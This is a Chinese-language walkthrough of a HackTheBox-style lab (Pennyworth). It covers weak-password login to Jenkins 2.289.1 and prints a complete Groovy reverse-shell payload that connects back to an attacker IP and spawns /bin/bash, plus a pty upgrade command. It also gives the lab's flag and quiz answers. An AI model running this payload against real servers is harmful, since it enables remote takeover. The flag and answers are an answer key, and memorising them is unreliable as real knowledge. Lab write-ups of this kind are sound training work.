前言
- 各位师傅大家好,我是qmx_07,今天给大家讲解Pennyworth靶场
渗透过程
信息搜集
- 服务器端口开放了8080http端口
访问网站
- 服务器使用jenkins cms系统,版本是2.289.1
- 通过弱口令爆破,账户是root,密码是password
通过命令执行nday 连接会话
- https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76/revisions
- 通过这篇jenkins的命令执行exp进行回连
String host="10.10.16.12";
int port=9000;
String cmd='/bin/bash';
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
- 本地机器监听端口连接,服务器远程请求,连接成功
python3 -c 'import pty;pty.spawn("/bin/bash")'
- 启动一个交互式的shell进程
- flag:9cdfb439c7876e703e307864c9167a15
知识点讲解
- poc:验证服务器特定漏洞是否存在,修补安全漏洞
- exp:根据已知的漏洞来攻击目标系统或者程序,比如获得敏感信息,或者获得对方的系统控制权
- cve:CVE(Common Vulnerabilities and Exposures)是一个用于标识和跟踪计算机安全漏洞的标准化命名系统。通过为每个已知的漏洞分配唯一的标识符,CVE 提供了一种方法来共享并协调漏洞信息和修补程序
答案
- 1.CVE全称是什么?
Common Vulnerabilities and Exposures
- 2.CIA在网络安全的关键词是什么?
confidentiality, integrity, availability(机密性,可用性,完整性)
- 3.8080端口运行的服务版本是?
Jetty 9.4.39.v20210325
- 4.jenkins版本是什么?
2.289.1
- 5.jenkins允许执行什么脚本?
Groovy
- 6.windows的控制台是什么?
cmd.exe
- 7.linux用什么来查询ip信息?
ifconfig
- 8.netcat用什么来开启udp传输?
-u
- 9.目标主机连接本地机器 的术语是什么?
reverse shell(反向连接)
- 10.flag?
9cdfb439c7876e703e307864c9167a15
总结
- 介绍了通过查询cms,查找cve,exp漏洞连接会话,以jenkins cms 进行演示